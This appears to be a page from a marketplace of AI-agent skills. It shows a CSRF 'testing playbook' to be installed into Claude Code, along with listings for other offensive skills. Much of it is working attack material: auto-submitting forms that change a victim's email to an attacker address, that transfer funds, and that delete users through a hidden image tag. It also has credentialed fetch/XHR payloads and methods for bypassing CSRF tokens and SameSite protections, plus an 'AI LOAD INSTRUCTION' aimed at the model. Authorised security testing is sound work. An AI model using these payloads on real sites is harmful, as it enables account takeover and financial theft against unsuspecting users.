401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling.
$ npx -y skills add yaklang/hack-skills --skill csrf-cross-site-request-forgery --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/csrf-cross-site-request-forgeryContext preview
The summary Claude sees to decide when to auto-load this skill.
CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling.
name: csrf-cross-site-request-forgery description: >- CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling.
> **AI LOAD INSTRUCTION**: Expert CSRF techniques. Covers modern bypass vectors (SameSite gaps, custom header flaws, tokenless bypass patterns), JSON CSRF, multipart CSRF, chaining with XSS. Base models often present only basic CSRF without covering SameSite edge cases and common broken token implementations.
Also load:
---
CSRF exploits a victim's active session to perform state-changing requests **from the attacker's origin**.
**Required conditions**: 1. Victim is authenticated (active session cookie) 2. Server identifies session via cookie only (no secondary check) 3. Attacker can predict/construct the valid request 4. Cookie is sent cross-origin (SameSite=None or legacy behavior)
---
**High-value state-changing endpoints**:
- Password change ← account takeover - Email change ← account takeover - Add admin / change role ← privilege escalation - Bank/payment transfer ← financial impact - OAuth app authorization ← hijack oauth flow - Account deletion - Two-factor auth disable - SSH key / API key addition - Webhook configuration - Profile/contact info update
---
Simplest case — form simply lacks CSRF token. Check if POST /change-email has any token. If not → trivially exploitable.
Token exists in request but is never verified server-side:
Remove the _csrf_token parameter entirely → does request still succeed? → YES → trivial bypass
Step 1: Log in as UserA → obtain valid CSRF token Step 2: Log in as UserB in other browser → obtain UserB CSRF token Step 3: Use UserB's CSRF token in UserA's session (attacker controls UserB) → If server validates token exists but doesn't check if it belongs to the session → bypass
When server sets CSRF token as cookie and expects it back in a header/form:
Set-Cookie: csrf=ATTACKER_CONTROLLED → If cookie can be set by subdomain (cookie tossing): set cookie to known value → Submit form with known token in header + known token in cookie = bypass
→ Same token across all users/sessions → Token = base64(username) or md5(session_id) → reversible → Token = timestamp → predictable
If attacker can write cookies for .target.com from subdomain XSS or cookie tossing: → Set csrf_cookie=CONTROLLED on .target.com → Submit request with X-CSRF-Token: CONTROLLED → Server checks header == cookie → match → bypass
---
**SameSite=Lax** (modern browser default): cookies sent for top-level GET navigation, NOT for cross-site iframe/form POST.
**Bypass SameSite=Lax via GET method**:
<!-- If server accepts GET for state-changing endpoint: --> <img src="https://target.com/account/delete?confirm=yes"> <script>document.location = 'https://target.com/transfer?to=attacker&amount=1000';</script>
**Bypass via subdomain XSS (SameSite Lax/Strict)**:
// XSS on sub.target.com → same-site origin → SameSite cookies sent! // Use XSS as staging point for CSRF window.location = 'https://target.com/account/modify?evil=true';
**SameSite=None** (legacy or explicit): cookies sent everywhere → classic CSRF applies.
**Cookie issued recently? Lax exemption:** Chrome has a 2-minute exception where Lax cookies ARE sent on cross-site POSTs if the cookie was just set (for OAuth flows). Race window: set cookie, immediately trigger CSRF within 2 minutes.
---
<html>
<body>
<form id="csrf" action="https://target.com/account/email/change" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="confirm_email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html><body onload="document.forms[0].submit()"> <form action="https://target.com/transfer" method="POST"> <input name="to" value="attacker_account"> <input name="amount" value="10000"> </form> </body>
<img src="https://target.com/api/v1/admin/delete-user?id=12345" style="display:none">
If API requires custom header like `X-CSRF-Token` but also accepts JSON with wildcard CORS — custom headers don't protect if CORS misconfigured:
// If Access-Control-Allow-Origin: * with credentials → broken
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.com/api/transfer");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true; // still need cookie sending
xhr.send('{"to":"attacker","amount":1000}');---
When endpoint accepts `Content-Type: application/json` — fetch() with CORS credentials:
// If CORS allows credentials + the endpoint:
fetch('https://target.com/api/v1/change-email', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});**Requires**: `Access-Control-Allow-Origin: https://attacker.com
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent…